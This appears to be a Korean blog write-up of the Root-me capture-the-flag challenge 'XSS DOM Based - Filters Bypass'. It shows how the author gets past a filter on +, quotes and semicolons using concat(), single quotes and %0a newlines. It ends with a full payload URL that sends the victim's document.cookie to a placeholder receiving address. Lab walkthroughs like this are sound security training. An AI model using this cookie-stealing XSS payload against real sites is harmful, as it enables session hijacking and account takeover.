-
XSS DOM Based - Filters BypassWargame/Root-me = Web - Client 2022. 11. 14. 21:38
XSS DOM Based - Filters Bypass
앞서 풀었던 문제의 형태이다.
문제 제목에서부터 filter를 우회하라고 나온다.
number 값으로 필터링될 것 같은 값을 넣어보면
"+, ", ;"가 필터링 되는 것을 확인할 수 있다.
"+"는 concat()으로, "는 '로 우회하면 된다.
";"는 개행문자로 우회할 수 있다.
GET 방식이므로 URL에 number 값으로 "'\nalert(1)\n//"을 주면
단순히 문자열로 인식되는 것 같다.
\n을 URLEncoding하면 %0a가 되는데
%0a를 사용하여 number 값을 "'%0aalert(1)%0a//"으로 주면
alert(1)이 동작하는 것을 확인할 수 있다.
그럼 이를 이용하여 사용자의 쿠키 값을 탈취하면 된다.
관리자에게 URL을 전달할 수 있는 Contact 페이지에서
http://challenge01.root-me.org/web-client/ch33/index.php?number='%0adocument.location.href='응답 받을 주소?cookie='.concat(document.cookie)%0a//
를 건네주면
flag를 획득할 수 있다.
'Wargame > Root-me = Web - Client' 카테고리의 다른 글
XSS - Stored 2 (0) 2022.11.09 XSS DOM Based - Introduction (0) 2022.11.08 <Root-me> Install files (0) 2022.01.05 <Root-me> XSS - Stored 1 (0) 2022.01.04 <Root-me> CSRF - 0 protection (0) 2021.12.24